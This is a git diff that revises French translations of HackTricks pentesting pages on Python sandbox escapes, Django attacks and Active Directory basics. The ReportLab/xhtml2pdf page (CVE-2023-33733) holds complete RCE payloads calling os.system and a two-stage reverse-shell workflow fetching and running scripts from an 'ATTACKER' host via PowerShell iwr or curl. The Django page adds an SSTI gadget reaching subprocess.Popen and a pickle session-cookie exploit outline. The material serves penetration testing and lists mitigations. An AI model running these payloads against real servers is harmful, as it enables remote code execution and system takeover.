+`__globals__` et `func_globals` (identiques) obtiennent l'environnement global. Dans l'exemple, vous pouvez voir certains modules importés, quelques variables globales et le contenu qui leur est déclaré :
 ```python
 get_flag.func_globals
 get_flag.__globals__
@ -815,11 +816,11 @@ get_flag.__globals__
 #If you have access to some variable value
 CustomClassObject.__class__.__init__.__globals__
 ```
-[**See here more places to obtain globals**](#globals-and-locals)
+[**Voir ici d'autres endroits pour obtenir globals**](#globals-and-locals)

 ### **Accéder au code de la fonction**

-**`__code__`** and `func_code`: Vous pouvez **accéder** à cet **attribut** pour **obtenir l'objet code** de la fonction.
+**`__code__`** and `func_code`: Vous pouvez **accéder** à cet **attribut** de la fonction pour **obtenir l'objet code** de la fonction.
 ```python
 # In our current example
 get_flag.__code__
@ -907,7 +908,7 @@ dis.dis(get_flag)
 44 LOAD_CONST               0 (None)
 47 RETURN_VALUE
 ```
-Notez que **si vous ne pouvez pas importer `dis` dans le python sandbox** vous pouvez obtenir le **bytecode** de la fonction (`get_flag.func_code.co_code`) et **disassemble** le localement. Vous ne verrez pas le contenu des variables chargées (`LOAD_CONST`) mais vous pouvez les deviner à partir de (`get_flag.func_code.co_consts`) car `LOAD_CONST` indique aussi l'offset de la variable chargée.
+Remarquez que **si vous ne pouvez pas importer `dis` dans le python sandbox** vous pouvez obtenir le **bytecode** de la fonction (`get_flag.func_code.co_code`) et la **désassembler** localement. Vous ne verrez pas le contenu des variables chargées (`LOAD_CONST`) mais vous pouvez les deviner à partir de (`get_flag.func_code.co_consts`) car `LOAD_CONST` indique aussi l'offset de la variable chargée.
 ```python
 dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S')
 0 LOAD_CONST          1 (1)
@ -931,8 +932,8 @@ dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x0
 ```
 ## Compilation de Python

-Maintenant, imaginons que d'une manière ou d'une autre vous puissiez **dump les informations sur une fonction que vous ne pouvez pas exécuter** mais que vous **avez besoin** de l'**exécuter**.\
-Comme dans l'exemple suivant, vous **pouvez accéder à l'objet code** de cette fonction, mais simplement en lisant le désassemblage vous **ne savez pas comment calculer le flag** (_imaginez une fonction `calc_flag` plus complexe_)
+Imaginons maintenant que, d'une manière ou d'une autre, vous puissiez **dump les informations sur une fonction que vous ne pouvez pas exécuter** mais que vous **avez besoin** de **l'exécuter**.\
+Comme dans l'exemple suivant, vous **pouvez accéder au code object** de cette fonction, mais en lisant simplement le disassemble vous **ne savez pas comment calculer le flag** (_imaginez une fonction `calc_flag` plus complexe_)
 ```python
 def get_flag(some_input):
 var1=1
@ -947,7 +948,7 @@ return "Nope"
 ```
 ### Création du code object

-Tout d'abord, nous devons savoir **comment créer et exécuter un code object** afin que nous puissions en créer un pour exécuter notre fonction leaked:
+Tout d'abord, nous devons savoir **comment créer et exécuter un code object** afin que nous puissions en créer un pour exécuter notre function leaked:
 ```python
 code_type = type((lambda: None).__code__)
 # Check the following hint if you get an error in calling this
@ -967,7 +968,7 @@ mydict['__builtins__'] = __builtins__
 function_type(code_obj, mydict, None, None, None)("secretcode")
 ```
 > [!TIP]
-> Selon la version de python, les **paramètres** de `code_type` peuvent avoir un **ordre différent**. La meilleure façon de connaître l'ordre des params dans la version de python que vous exécutez est d'exécuter :
+> Selon la version de python, les **paramètres** de `code_type` peuvent avoir un **ordre différent**. La meilleure façon de connaître l'ordre des params dans la version de python que vous utilisez est d'exécuter :
 >
 > ```
 > import types
@ -978,7 +979,7 @@ function_type(code_obj, mydict, None, None, None)("secretcode")
 ### Recréer une fonction leaked

 > [!WARNING]
-> Dans l'exemple suivant, nous allons prendre toutes les données nécessaires pour recréer la fonction directement à partir du function code object. Dans un **exemple réel**, toutes les **valeurs** nécessaires pour exécuter la fonction **`code_type`** sont ce que **vous devrez leak**.
+> Dans l'exemple qui suit, nous allons récupérer toutes les données nécessaires pour recréer la fonction directement à partir de son objet code. Dans un **exemple réel**, toutes les **valeurs** nécessaires pour exécuter la fonction **`code_type`** sont celles que **vous devrez leak**.
 ```python
 fc = get_flag.__code__
 # In a real situation the values like fc.co_argcount are the ones you need to leak
@ -991,10 +992,10 @@ function_type(code_obj, mydict, None, None, None)("secretcode")
 ```
 ### Contourner les défenses

-Dans les exemples précédents au début de cet article, vous pouvez voir **comment exécuter n'importe quel code python en utilisant la fonction `compile`**. C'est intéressant parce que vous pouvez **exécuter des scripts entiers** avec des boucles et tout le reste en une **one liner** (et on pourrait faire la même chose en utilisant **`exec`**).\
-Quoi qu'il en soit, il peut parfois être utile de **créer** un **objet compilé** sur une machine locale et de l'exécuter sur la **CTF machine** (par exemple parce que nous n'avons pas la fonction `compiled` dans la CTF).
+Dans les exemples précédents au début de cet article, vous pouvez voir **comment exécuter n'importe quel code python en utilisant la fonction `compile`**. C'est intéressant car vous pouvez **exécuter des scripts entiers** avec des boucles et tout en **une seule ligne** (et nous pourrions faire la même chose en utilisant **`exec`**).\
+Quoi qu'il en soit, il peut parfois être utile de **créer** un **objet compilé** sur une machine locale et de l'exécuter dans la **CTF machine** (par exemple parce que nous n'avons pas la fonction `compiled` dans la CTF).

-Par exemple, compilons et exécutons manuellement une fonction qui lit _./poc.py_ :
+Par exemple, compilons et exécutons manuellement une fonction qui lit _./poc.py_:
 ```python
 #Locally
 def read():
@ -1029,9 +1030,9 @@ ctype = type((lambda: None).func_code)
 f = ftype(ctype(1, 1, 1, 67, '|\x00\x00GHd\x00\x00S', (None,), (), ('s',), 'stdin', 'f', 1, ''), {})
 f(42)
 ```
-## Décompilation du Python compilé
+## Décompilation de Python compilé

-En utilisant des outils comme [**https://www.decompiler.com/**](https://www.decompiler.com), on peut **décompiler** du code Python compilé.
+En utilisant des outils comme [**https://www.decompiler.com/**](https://www.decompiler.com) on peut **decompile** du code python compilé donné.

 **Consultez ce tutoriel** :

@ -1044,7 +1045,7 @@ En utilisant des outils comme [**https://www.decompiler.com/**](https://www.deco

 ### Assert

-Python exécuté avec les optimisations via le paramètre `-O` supprimera les instructions `assert` et tout code conditionnel à la valeur de **debug**.\
+Python exécuté avec les optimisations via le paramètre `-O` supprimera les assert statements et tout code conditionné par la valeur de **debug**.\
 Par conséquent, des vérifications comme
 ```python
 def check_permission(super_user):
@ -1054,7 +1055,7 @@ print("\nYou are a super user\n")
 except AssertionError:
 print(f"\nNot a Super User!!!\n")
 ```
-sera contourné
+sera bypassed

 ## Références

--- a/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md
+++ b/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md
@ -2,73 +2,73 @@

 {{#include ../../../banners/hacktricks-training.md}}

-Cette page documente une escape pratique du sandbox et un primitive RCE dans rl_safe_eval de ReportLab utilisé par xhtml2pdf et d'autres pipelines de génération de PDF lorsqu'ils rendent du HTML contrôlé par l'utilisateur en PDF.
+Cette page documente un sandbox escape pratique et une primitive RCE dans rl_safe_eval de ReportLab utilisée par xhtml2pdf et d'autres pipelines de génération de PDF lorsqu'ils rendent du HTML contrôlé par l'utilisateur en PDF.

-CVE-2023-33733 affecte les versions de ReportLab jusqu'à et y compris 3.6.12. Dans certains contextes d'attribut (par exemple color), les valeurs encadrées par triple crochets [[[ ... ]]] sont évaluées côté serveur par rl_safe_eval. En fabriquant un payload qui pivote depuis un builtin whitelisté (pow) vers ses globals de fonction Python, un attaquant peut atteindre le module os et exécuter des commandes.
+CVE-2023-33733 affecte les versions de ReportLab jusqu'à et y compris 3.6.12. Dans certains contextes d'attributs (par exemple color), les valeurs entourées par des triple crochets [[[ ... ]]] sont évaluées côté serveur par rl_safe_eval. En façonnant une charge utile qui pivote depuis un builtin whitelisté (pow) vers les globals de sa fonction Python, un attaquant peut atteindre le module os et exécuter des commandes.

 Points clés
- Trigger : injecter [[[ ... ]]] dans des attributs évalués tels que <font color="..."> dans du markup analysé par ReportLab/xhtml2pdf.
+- Trigger : injecter [[[ ... ]]] dans des attributs évalués comme <font color="..."> au sein du markup analysé par ReportLab/xhtml2pdf.
 - Sandbox : rl_safe_eval remplace les builtins dangereux mais les fonctions évaluées exposent toujours __globals__.
 - Bypass : créer une classe transitoire Word pour contourner les vérifications de noms de rl_safe_eval et accéder à la chaîne "__globals__" tout en évitant le filtrage des dunder bloqués.
 - RCE : getattr(pow, Word("__globals__"))["os"].system("<cmd>")
- Stabilité : Retourner une valeur valide pour l'attribut après exécution (pour color, utiliser 'red').
+- Stabilité : retourner une valeur d'attribut valide après l'exécution (pour color, utiliser and 'red').

 Quand tester
- Applications qui exposent une exportation HTML-to-PDF (profils, factures, rapports) et indiquent xhtml2pdf/ReportLab dans les métadonnées PDF ou les commentaires de la réponse HTTP.
- exiftool profile.pdf | egrep 'Producer|Title|Creator' → producteur "xhtml2pdf"
- La réponse HTTP pour un PDF commence souvent par un commentaire générateur ReportLab
+- Applications qui exposent l'export HTML-to-PDF (profils, factures, rapports) et affichent xhtml2pdf/ReportLab dans les métadonnées PDF ou les commentaires de la réponse HTTP.
+- exiftool profile.pdf | egrep 'Producer|Title|Creator' → "xhtml2pdf" producer
+- La réponse HTTP pour un PDF commence souvent par un commentaire généré par ReportLab

-Comment le bypass du sandbox fonctionne
- rl_safe_eval supprime ou remplace de nombreux builtins (getattr, type, pow, ...) et applique un filtrage de noms pour refuser les attributs commençant par __ ou figurant dans une denylist.
- Cependant, les fonctions safe vivent dans un dictionnaire globals accessible via func.__globals__.
- Utiliser type(type(1)) pour retrouver la vraie fonction builtin type (contournant le wrapper de ReportLab), puis définir une classe Word dérivée de str avec un comportement de comparaison muté de sorte que :
-  - .startswith('__') → toujours False (contourne la vérification name startswith('__'))
-  - .__eq__ retourne False uniquement à la première comparaison (contourne les vérifications d'appartenance à la denylist) et True ensuite (pour que Python getattr fonctionne)
-  - .__hash__ égal à hash(str(self))
- Avec cela, getattr(pow, Word('__globals__')) retourne le dict globals de la fonction pow emballée, qui inclut un module os importé. Ensuite : ['os'].system('<cmd>').
+Comment fonctionne le contournement du sandbox
+- rl_safe_eval supprime ou remplace de nombreux builtins (getattr, type, pow, ...) et applique un filtrage de noms pour refuser les attributs commençant par __ ou présents dans une denylist.
+- Cependant, les fonctions sûres vivent dans un dictionnaire globals accessible via func.__globals__.
+- Utiliser type(type(1)) pour récupérer la vraie fonction builtin type (contournant l'enveloppe de ReportLab), puis définir une classe Word dérivée de str avec un comportement de comparaison modifié de sorte que :
+- .startswith('__') → toujours False (contournement du contrôle startswith('__') sur le nom)
+- .__eq__ retourne False uniquement à la première comparaison (contournement des vérifications d'appartenance à la denylist) puis True ensuite (pour que getattr fonctionne)
+- .__hash__ égal à hash(str(self))
+- Grâce à cela, getattr(pow, Word('__globals__')) retourne le dict globals de la fonction pow emballée, qui inclut un module os importé. Ensuite : ['os'].system('<cmd>').

-Pattern d'exploitation minimal (exemple d'attribut)
-Placer le payload à l'intérieur d'un attribut évalué et s'assurer qu'il retourne une valeur d'attribut valide via boolean et 'red'.
+Patron d'exploitation minimal (exemple d'attribut)
+Placer la charge utile à l'intérieur d'un attribut évalué et s'assurer qu'elle retourne une valeur d'attribut valide via boolean and 'red'.

 <para><font color="[[[getattr(pow, Word('__globals__'))['os'].system('ping 10.10.10.10') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">
 exploit
 </font></para>

- La forme en list-comprehension permet une unique expression acceptable par rl_safe_eval.
- Le trailing and 'red' retourne une couleur CSS valide pour que le rendu ne casse pas.
+- La forme en list-comprehension permet une seule expression acceptable pour rl_safe_eval.
+- Le and 'red' final retourne une couleur CSS valide afin que le rendu ne casse pas.
 - Remplacer la commande selon le besoin ; utiliser ping pour valider l'exécution avec tcpdump.

-Workflow opérationnel
+Flux opérationnel
 1) Identifier le générateur de PDF
- Le PDF Producer indique xhtml2pdf ; la réponse HTTP contient un commentaire ReportLab.
-2) Trouver une entrée reflétée dans le PDF (par ex., bio/description du profil) et déclencher une exportation.
-3) Vérifier l'exécution avec un ICMP de faible bruit
- Run: sudo tcpdump -ni <iface> icmp
- Payload: ... system('ping <your_ip>') ...
+- Le champ Producer affiche xhtml2pdf ; la réponse HTTP contient un commentaire ReportLab.
+2) Trouver une entrée reflétée dans le PDF (par ex., bio/description du profil) et déclencher un export.
+3) Vérifier l'exécution avec ICMP peu bruyant
+- Exécuter : sudo tcpdump -ni <iface> icmp
+- Payload : ... system('ping <your_ip>') ...
 - Windows envoie souvent exactement quatre requêtes echo par défaut.
-4) Établir un shell
- Pour Windows, une approche two-stage fiable évite les problèmes de quoting/encoding :
- Stage 1 (download):
+4) Établir une shell
+- Pour Windows, une approche fiable en deux étapes évite les problèmes de quoting/encodage :
+- Stage 1 (téléchargement) :

 <para><font color="[[[getattr(pow, Word('__globals__'))['os'].system('powershell -c iwr http://ATTACKER/rev.ps1 -o rev.ps1') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">exploit</font></para>

- Stage 2 (execute):
+- Stage 2 (exécution) :

 <para><font color="[[[getattr(pow, Word('__globals__'))['os'].system('powershell ./rev.ps1') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">exploit</font></para>

- Pour les cibles Linux, un two-stage similaire avec curl/wget est possible :
+- Pour les cibles Linux, un flux en deux étapes similaire avec curl/wget est possible :
 - system('curl http://ATTACKER/s.sh -o /tmp/s; sh /tmp/s')

 Notes et conseils
- Contextes d'attribut : color est un attribut connu évalué ; d'autres attributs dans le markup ReportLab peuvent aussi évaluer des expressions. Si un emplacement est sanitizé, essayer d'autres endroits rendus dans le flux PDF (champs différents, styles de table, etc.).
- Quoting : Garder les commandes compactes. Les downloads en two-stage réduisent drastiquement les problèmes de quoting et d'escaping.
- Fiabilité : Si les exportations sont mises en cache ou en file d'attente, varier légèrement le payload (par ex., chemin ou query aléatoire) pour éviter les caches.
+- Contextes d'attributs : color est un attribut évalué connu ; d'autres attributs dans le markup ReportLab peuvent aussi évaluer des expressions. Si un emplacement est filtré, tester d'autres emplacements rendus dans le flux PDF (champs différents, styles de table, etc.).
+- Quoting : garder les commandes compactes. Les téléchargements en deux étapes réduisent drastiquement les problèmes de quoting et d'échappement.
+- Fiabilité : si les exports sont mis en cache ou en file d'attente, varier légèrement la charge utile (par ex. chemin ou query aléatoire) pour éviter de toucher des caches.

-Mitigations et détection
- Mettre à jour ReportLab vers 3.6.13 ou plus récent (CVE-2023-33733 corrigé). Suivre aussi les avis de sécurité dans les paquets de distribution.
- Ne pas fournir du HTML/markup contrôlé par l'utilisateur directement à xhtml2pdf/ReportLab sans une sanitization stricte. Supprimer/refuser les constructions d'évaluation [[[...]]] et les tags vendor-specific lorsque l'entrée n'est pas de confiance.
+Atténuation et détection
+- Mettre à jour ReportLab vers la version 3.6.13 ou ultérieure (CVE-2023-33733 corrigée). Suivre aussi les avis de sécurité des paquets de distribution.
+- Ne pas fournir du HTML/markup contrôlé par l'utilisateur directement à xhtml2pdf/ReportLab sans une sanitization stricte. Supprimer/refuser les constructions d'évaluation [[[...]]] et les tags spécifiques vendor lorsque l'entrée n'est pas de confiance.
 - Envisager de désactiver ou d'envelopper complètement l'utilisation de rl_safe_eval pour les entrées non fiables.
- Surveiller les connexions sortantes suspectes pendant la génération de PDF (par ex., ICMP/HTTP depuis les serveurs applicatifs lors d'exportations de documents).
+- Surveiller les connexions sortantes suspectes pendant la génération de PDF (par ex., ICMP/HTTP depuis les serveurs applicatifs lors d'exports de documents).

 References
 - PoC and technical analysis: [c53elyas/CVE-2023-33733](https://github.com/c53elyas/CVE-2023-33733)
--- a/src/network-services-pentesting/pentesting-web/django.md
+++ b/src/network-services-pentesting/pentesting-web/django.md
@ -2,43 +2,43 @@

 {{#include ../../banners/hacktricks-training.md}}

-## Manipulation du cache aboutissant à RCE
-Django utilise par défaut [Python pickles](https://docs.python.org/3/library/pickle.html) pour le stockage du cache, ce qui peut conduire à RCE si [untrusted input is unpickled](https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf). **Si un attaquant peut obtenir un accès en écriture au cache, il peut escalader cette vulnérabilité pour obtenir RCE sur le serveur sous-jacent**.
+## Cache Manipulation to RCE
+La méthode de stockage du cache par défaut de Django est [Python pickles](https://docs.python.org/3/library/pickle.html), ce qui peut conduire à RCE si [untrusted input is unpickled](https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf). **Si un attaquant peut obtenir un accès en écriture au cache, il peut escalader cette vulnérabilité en RCE sur le serveur sous-jacent**.

-Le cache Django est stocké dans l'un des quatre endroits suivants : [Redis](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/redis.py#L12), [memory](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/locmem.py#L16), [files](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/filebased.py#L16), ou une [database](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/db.py#L95). Le cache stocké dans un serveur Redis ou une database constitue les vecteurs d'attaque les plus probables (Redis injection et SQL injection), mais un attaquant peut aussi exploiter un cache basé sur des fichiers pour transformer une écriture arbitraire en RCE. Les mainteneurs ont considéré cela comme non-problématique. Il est important de noter que le dossier des fichiers de cache, le nom de la table SQL et les détails du serveur Redis varient selon l'implémentation.
+Le cache de Django est stocké dans l'un des quatre emplacements suivants : [Redis](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/redis.py#L12), [memory](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/locmem.py#L16), [files](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/filebased.py#L16), ou une [database](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/db.py#L95). Le cache stocké dans un serveur Redis ou dans une base de données constitue les vecteurs d'attaque les plus probables (Redis injection et SQL injection), mais un attaquant pourrait aussi utiliser le cache basé sur des fichiers pour transformer une écriture arbitraire en RCE. Les mainteneurs ont considéré cela comme non problématique. Il est important de noter que le dossier des fichiers de cache, le nom de la table SQL et les détails du serveur Redis varieront selon l'implémentation.

 Ce rapport HackerOne fournit un excellent exemple reproductible d'exploitation du cache Django stocké dans une base SQLite : https://hackerone.com/reports/1415436

 ---

 ## Server-Side Template Injection (SSTI)
-Le Django Template Language (DTL) est **Turing-complet**. Si des données fournies par l'utilisateur sont rendues comme une *template string* (par exemple en appelant `Template(user_input).render()` ou lorsque `|safe`/`format_html()` supprime l'auto-escaping), un attaquant peut obtenir une SSTI complète → RCE.
+The Django Template Language (DTL) is **Turing-complete**. If user-supplied data is rendered as a *template string* (for example by calling `Template(user_input).render()` or when `|safe`/`format_html()` removes auto-escaping), an attacker may achieve full SSTI → RCE.

 ### Détection
-1. Recherchez des appels dynamiques à `Template()` / `Engine.from_string()` / `render_to_string()` qui incluent *n'importe quelle* donnée de requête non assainie.
-2. Envoyez une payload temporelle ou arithmétique :
+1. Recherchez des appels dynamiques à `Template()` / `Engine.from_string()` / `render_to_string()` qui incluent *la moindre* donnée de requête non assainie.
+2. Envoyez un payload basé sur le temps ou arithmétique :
 ```django
 {{7*7}}
 ```
-Si la sortie rendue contient `49`, l'entrée est compilée par le moteur de templates.
+Si la sortie rendue contient `49`, l'entrée est compilée par le moteur de template.

-### Primitive pour RCE
-Django bloque l'accès direct à `__import__`, mais le graphe d'objets Python reste accessible :
+### Primitive to RCE
+Django bloque l'accès direct à `__import__`, mais le graphe d'objets Python est accessible :
 ```django
 {{''.__class__.mro()[1].__subclasses__()}}
 ```
-Trouvez l’index de `subprocess.Popen` (≈400–500 selon la build de Python) et exécutez des commandes arbitraires :
+Trouver l'index de `subprocess.Popen` (≈400–500 selon la build Python) et exécuter des commandes arbitraires :
 ```django
 {{''.__class__.mro()[1].__subclasses__()[438]('id',shell=True,stdout=-1).communicate()[0]}}
 ```
-Un gadget universel plus sûr consiste à itérer jusqu'à `cls.__name__ == 'Popen'`.
+Un gadget universel plus sûr consiste à itérer jusqu'à ce que `cls.__name__ == 'Popen'`.

-Le même gadget fonctionne pour **Debug Toolbar** ou les fonctionnalités de rendu de templates de **Django-CMS** qui gèrent mal les entrées utilisateur.
+Le même gadget fonctionne pour **Debug Toolbar** ou les fonctionnalités de rendu de templates de **Django-CMS** qui malgèrent les entrées utilisateur.

 ---

-### Voir aussi : ReportLab/xhtml2pdf — RCE d'export PDF
-Les applications basées sur Django intègrent couramment xhtml2pdf/ReportLab pour exporter des vues en PDF. Lorsque du HTML contrôlé par l'utilisateur est utilisé dans la génération de PDF, rl_safe_eval peut évaluer des expressions à l'intérieur de triples crochets `[[[ ... ]]]`, permettant l'exécution de code (CVE-2023-33733). Détails, payloads, et mesures d'atténuation :
+### Voir aussi : RCE d'export PDF ReportLab/xhtml2pdf
+Les applications construites sur Django intègrent couramment xhtml2pdf/ReportLab pour exporter des vues en PDF. Lorsque du HTML contrôlé par l'utilisateur est envoyé dans la génération de PDF, rl_safe_eval peut évaluer des expressions à l'intérieur de triples crochets `[[[ ... ]]]`, permettant l'exécution de code (CVE-2023-33733). Détails, payloads, et mitigations:

 {{#ref}}
 ../../generic-methodologies-and-resources/python/bypass-python-sandboxes/reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md
@ -47,11 +47,11 @@ Les applications basées sur Django intègrent couramment xhtml2pdf/ReportLab po
 ---

 ## RCE via cookie de session basé sur Pickle
-Si le paramètre `SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'` est activé (ou un serializer personnalisé qui désérialise pickle), Django *decrypts and unpickles* le cookie de session **avant** d'appeler tout code de vue. Par conséquent, posséder une clé de signature valide (le `SECRET_KEY` du projet par défaut) suffit pour une exécution de code à distance immédiate.
+Si le setting `SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'` est activé (ou si un serializer personnalisé désérialise des pickles), Django *déchiffre et désérialise (unpickle)* le cookie de session **avant** d'appeler tout code de vue. Par conséquent, posséder une clé de signature valide (le `SECRET_KEY` du projet par défaut) suffit pour une exécution de code distante immédiate.

-### Exploit Requirements
+### Prérequis pour l'exploit
 * Le serveur utilise `PickleSerializer`.
-* L'attaquant connaît / peut deviner `settings.SECRET_KEY` (leaks via GitHub, `.env`, pages d'erreur, etc.).
+* L'attaquant connaît / peut deviner `settings.SECRET_KEY` (leaks via GitHub, `.env`, error pages, etc.).

 ### Preuve de concept
 ```python
@ -69,21 +69,21 @@ print(f"sessionid={mal}")
 ```
 Envoyez le cookie résultant, et le payload s'exécute avec les permissions du worker WSGI.

-**Atténuations** : Conserver le `JSONSerializer` par défaut, changer régulièrement la `SECRET_KEY`, et configurer `SESSION_COOKIE_HTTPONLY`.
+**Atténuations**: Gardez le `JSONSerializer` par défaut, faites tourner la `SECRET_KEY`, et configurez `SESSION_COOKIE_HTTPONLY`.

 ---

-## Recent (2023-2025) High-Impact Django CVEs Pentesters Should Check
-* **CVE-2025-48432** – *Log Injection via unescaped `request.path`* (corrigé le 4 juin 2025). Permet aux attaquants d'introduire des sauts de ligne/ des codes ANSI dans les fichiers de log et de contaminer l'analyse de logs en aval. Patch level ≥ 4.2.22 / 5.1.10 / 5.2.2.
-* **CVE-2024-42005** – *Critical SQL injection* in `QuerySet.values()/values_list()` on `JSONField` (CVSS 9.8). Concevoir des clés JSON qui brisent les guillemets et permettent d'exécuter du SQL arbitraire. Corrigé dans 4.2.15 / 5.0.8.
+## Récents CVEs Django à fort impact (2023-2025) que les pentesters devraient vérifier
+* **CVE-2025-48432** – *Log Injection via unescaped `request.path`* (corrigé le 4 juin 2025). Permet aux attaquants d'introduire des sauts de ligne/codes ANSI dans les fichiers de logs et d'empoisonner l'analyse des logs en aval. Patch level ≥ 4.2.22 / 5.1.10 / 5.2.2.
+* **CVE-2024-42005** – *Critical SQL injection* in `QuerySet.values()/values_list()` on `JSONField` (CVSS 9.8). Concevez des clés JSON permettant de sortir de la mise entre guillemets et d'exécuter du SQL arbitraire. Corrigé dans 4.2.15 / 5.0.8.

-Identifiez toujours la version exacte du framework via la page d'erreur `X-Frame-Options` ou le hash de `/static/admin/css/base.css` et testez ce qui précède le cas échéant.
+Identifiez toujours la version exacte du framework via la page d'erreur `X-Frame-Options` ou le hash de `/static/admin/css/base.css` et testez les éléments ci‑dessous lorsque cela est applicable.

 ---

-## References
-* Publication de sécurité Django – "Django 5.2.2, 5.1.10, 4.2.22 address CVE-2025-48432" – 4 Jun 2025.
-* OP-Innovate: "Django releases security updates to address SQL injection flaw CVE-2024-42005" – 11 Aug 2024.
+## Références
+* Communiqué de sécurité Django – "Django 5.2.2, 5.1.10, 4.2.22 address CVE-2025-48432" – 4 Jun 2025.
+* OP-Innovate : "Django releases security updates to address SQL injection flaw CVE-2024-42005" – 11 Aug 2024.
 * 0xdf: University (HTB) – Exploiting xhtml2pdf/ReportLab CVE-2023-33733 to gain RCE and pivot into AD – [https://0xdf.gitlab.io/2025/08/09/htb-university.html](https://0xdf.gitlab.io/2025/08/09/htb-university.html)

 {{#include ../../banners/hacktricks-training.md}}
--- a/src/windows-hardening/active-directory-methodology/README.md
+++ b/src/windows-hardening/active-directory-methodology/README.md
@ -2,57 +2,57 @@

 {{#include ../../banners/hacktricks-training.md}}

-## Aperçu de base
+## Vue d'ensemble

 **Active Directory** sert de technologie fondamentale, permettant aux **administrateurs réseau** de créer et gérer efficacement des **domaines**, des **utilisateurs** et des **objets** au sein d'un réseau. Il est conçu pour monter en charge, facilitant l'organisation d'un grand nombre d'utilisateurs en **groupes** et **sous-groupes** gérables, tout en contrôlant les **droits d'accès** à différents niveaux.

-La structure d'**Active Directory** est composée de trois couches principales : **domains**, **trees**, et **forests**. Un **domain** englobe une collection d'objets, tels que des **utilisateurs** ou des **périphériques**, partageant une base de données commune. Les **trees** sont des groupes de ces domaines liés par une structure commune, et une **forest** représente la collection de plusieurs trees, interconnectés via des **trust relationships**, formant la couche la plus élevée de la structure organisationnelle. Des **droits d'accès** et de **communication** spécifiques peuvent être attribués à chacun de ces niveaux.
+La structure de **Active Directory** se compose de trois couches principales : **domains**, **trees** et **forests**. Un **domain** englobe une collection d'objets, tels que des **users** ou des **devices**, partageant une base de données commune. Les **trees** sont des groupes de ces domaines liés par une structure partagée, et une **forest** représente la collection de plusieurs trees, interconnectés via des **trust relationships**, formant la couche la plus élevée de la structure organisationnelle. Des **access** et des **communication rights** spécifiques peuvent être désignés à chacun de ces niveaux.

-Les concepts clés d'**Active Directory** incluent :
+Concepts clés au sein de **Active Directory** :

 1. **Directory** – Contient toutes les informations relatives aux objets Active Directory.
-2. **Object** – Désigne les entités au sein de l'annuaire, incluant les **users**, **groups**, ou **shared folders**.
-3. **Domain** – Sert de conteneur pour les objets de l'annuaire, avec la possibilité que plusieurs domains coexistent au sein d'une **forest**, chacun conservant sa propre collection d'objets.
-4. **Tree** – Un regroupement de domains partageant un domaine racine commun.
+2. **Object** – Désigne les entités dans l'annuaire, y compris les **users**, **groups**, ou **shared folders**.
+3. **Domain** – Sert de conteneur pour les objets de l'annuaire ; plusieurs domains peuvent coexister au sein d'une **forest**, chacun conservant sa propre collection d'objets.
+4. **Tree** – Regroupement de domains partageant un domaine racine commun.
 5. **Forest** – Le sommet de la structure organisationnelle dans Active Directory, composé de plusieurs trees avec des **trust relationships** entre eux.

-**Active Directory Domain Services (AD DS)** englobe une série de services essentiels pour la gestion centralisée et la communication au sein d'un réseau. Ces services comprennent :
+**Active Directory Domain Services (AD DS)** englobe une série de services critiques pour la gestion centralisée et la communication au sein d'un réseau. Ces services comprennent :

-1. **Domain Services** – Centralise le stockage des données et gère les interactions entre les **users** et les **domains**, incluant l'**authentication** et les fonctions de **search**.
-2. **Certificate Services** – Supervise la création, la distribution et la gestion des **digital certificates** sécurisés.
-3. **Lightweight Directory Services** – Prend en charge les applications compatibles annuaire via le **LDAP protocol**.
+1. **Domain Services** – Centralise le stockage des données et gère les interactions entre les **users** et les **domains**, y compris l'**authentication** et les fonctionnalités de **search**.
+2. **Certificate Services** – Supervise la création, la distribution et la gestion des **digital certificates**.
+3. **Lightweight Directory Services** – Prend en charge les applications utilisant l'annuaire via le **LDAP protocol**.
 4. **Directory Federation Services** – Fournit des capacités de **single-sign-on** pour authentifier les utilisateurs à travers plusieurs applications web en une seule session.
